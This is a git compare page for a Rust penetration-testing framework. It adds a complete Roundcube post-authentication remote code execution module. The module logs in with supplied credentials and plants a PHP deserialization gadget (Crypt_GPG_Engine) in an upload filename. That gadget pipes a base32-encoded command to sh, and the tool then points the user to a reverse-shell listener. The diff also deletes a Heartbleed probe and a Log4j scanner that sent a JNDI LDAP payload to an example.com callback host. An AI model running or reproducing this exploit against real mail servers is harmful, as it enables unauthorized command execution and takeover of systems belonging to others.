Compare commits

..

6 Commits

Author SHA1 Message Date
S.B 28dd1f66dd Update roundcube_postauth_rce.rs 2025-06-17 01:32:07 +02:00
S.B e06042d828 Merge pull request #18 from s-b-repo/codex/add-roundcube-post-auth-rce-exploit-module
Add Roundcube post-auth RCE exploit
2025-06-17 01:19:33 +02:00
S.B e05c253bcb Add Roundcube post-auth RCE exploit 2025-06-17 01:18:13 +02:00
S.B 48bde25147 Update Cargo.toml 2025-06-17 01:03:55 +02:00
S.B 25c77dcb3b Update ping_sweep.rs 2025-06-17 01:03:03 +02:00
S.B 070e807b3e Merge pull request #16 from s-b-repo/codex/add-multiple-scanner-modules
Add ping sweep and HTTP title scanner modules
2025-06-17 00:29:05 +02:00
10 changed files with 270 additions and 182 deletions
+6
View File
@@ -75,6 +75,9 @@ aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
# for Roundcube exploit payload encoding
data-encoding = "2.5.0"
#avanti
url = "2.5.4"
semver = "1.0.26"
@@ -83,6 +86,9 @@ semver = "1.0.26"
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
#pingsweep
which = "8.0.0"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
+4 -6
View File
@@ -48,14 +48,12 @@ rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added port scanner
added ping_sweep network scanner
added http_title_scanner
added log4j_scanner
added heartbleed_scanner
added find command
updated docs
created docs
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
+1 -1
View File
@@ -163,7 +163,7 @@ Then:
```
rsf> help
rsf> modules
rsf> use scanners/heartbleed_scanner
rsf> use scanners/ping_sweep
rsf> set target 192.168.0.1
rsf> run
```
+1
View File
@@ -14,4 +14,5 @@ pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palto_alto;
pub mod roundcube;
+1
View File
@@ -0,0 +1 @@
pub mod roundcube_postauth_rce;
@@ -0,0 +1,215 @@
use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos()
.to_string();
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}
fn generate_uploadid() -> String {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_millis();
format!("upload{}", millis)
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id())
.append_pair("_uploadid", &generate_uploadid())
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
Ok(())
}
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("[!] Version appears vulnerable!");
} else {
println!("[-] Version not in known vulnerable range.");
}
} else {
println!("[?] Could not determine version.");
}
let mut username = String::new();
let mut password = String::new();
let mut host = String::new();
let mut command = String::new();
print!("Username: ");
io::stdout().flush()?;
io::stdin().read_line(&mut username)?;
print!("Password: ");
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("Host parameter (optional): ");
io::stdout().flush()?;
io::stdin().read_line(&mut host)?;
print!("Command to execute: ");
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let username = username.trim();
let password = password.trim();
let host = host.trim();
let command = command.trim();
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
login(&client, &base_url, username, password, host).await?;
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
-121
View File
@@ -1,121 +0,0 @@
use anyhow::{Context, Result};
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(443);
run_with_port(target, port).await
}
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let raw = target.trim();
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
_ => {
println!("[-] No response to Client Hello");
return Ok(());
}
}
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
}
_ => {
println!("[-] Target does not seem vulnerable (no heartbeat response).");
}
}
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let mut random = vec![0u8; 32];
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&0x0002u16.to_be_bytes());
hello.extend_from_slice(&0x0033u16.to_be_bytes());
hello.extend_from_slice(&0x0039u16.to_be_bytes());
hello.push(1);
hello.push(0);
hello.extend_from_slice(&0x0000u16.to_be_bytes());
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn prompt_port() -> Option<u16> {
print!("Enter port (default 443): ");
io::stdout().flush().ok();
let mut input = String::new();
if io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
-44
View File
@@ -1,44 +0,0 @@
use anyhow::{Result, Context};
use rand::Rng;
use reqwest::Client;
use std::io::{self, Write};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter URL or host to scan: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let host = input.trim();
let client = Client::builder()
.redirect(reqwest::redirect::Policy::limited(3))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let token: u32 = rand::thread_rng().gen();
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
for scheme in ["http", "https"] {
let url = if host.starts_with("http") {
host.to_string()
} else {
format!("{}://{}", scheme, host)
};
match client.get(&url).header("User-Agent", &payload).send().await {
Ok(resp) => {
println!("[+] {} -> status {}", url, resp.status());
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
Ok(())
}
-2
View File
@@ -4,5 +4,3 @@ pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod log4j_scanner;
pub mod heartbleed_scanner;
+42 -8
View File
@@ -2,20 +2,51 @@ use anyhow::{Result, Context};
use ipnet::IpNet;
use std::net::IpAddr;
use std::sync::Arc;
use tokio::{
process::Command,
sync::Semaphore,
time::{timeout, Duration},
};
use std::io::{self, Write};
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
/// Main entry point for the RouterSploit auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
let cidr = prompt_for_cidr(target).await?;
execute_ping_sweep(&cidr).await
}
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter CIDR range to sweep: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
/// Prompt for a valid CIDR until received
async fn prompt_for_cidr(initial: &str) -> Result<String> {
// // Start with any provided value
let mut input = initial.trim().to_string();
loop {
// // If empty, ask user
if input.is_empty() {
print!("Enter target (CIDR, e.g., 192.168.1.0/24): ");
io::stdout().flush().ok();
input.clear();
io::stdin().read_line(&mut input)?;
input = input.trim().to_string();
}
// // Try to parse as CIDR
match input.parse::<IpNet>() {
Ok(_) => return Ok(input),
Err(_) => {
eprintln!("[!] Module failed: Use CIDR notation like 192.168.1.0/24\n\nCaused by:\n invalid IP address syntax");
input.clear();
continue;
}
}
}
}
/// Executes a ping sweep across the provided CIDR subnet
pub async fn execute_ping_sweep(target: &str) -> Result<()> {
// // Parse the target as CIDR (e.g., 192.168.1.0/24)
let net: IpNet = target.parse().context("Use CIDR notation like 192.168.1.0/24")?;
// // Collect all host IPs in the subnet
let hosts: Vec<IpAddr> = net.hosts().collect();
// // Use a semaphore to limit concurrency to 50
let semaphore = Arc::new(Semaphore::new(50));
let mut tasks = Vec::new();
@@ -23,7 +54,9 @@ pub async fn run_interactive(_target: &str) -> Result<()> {
let sem = semaphore.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
// // Limit concurrent pings using the semaphore
let _permit = sem.acquire_owned().await.unwrap();
// // Use "ping" for IPv4, "ping6" for IPv6
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
let result = timeout(
Duration::from_secs(3),
@@ -32,6 +65,7 @@ pub async fn run_interactive(_target: &str) -> Result<()> {
.output(),
)
.await;
// // If ping succeeded, print that the host is up
if let Ok(Ok(out)) = result {
if out.status.success() {
println!("[+] Host {} is up", ip_str);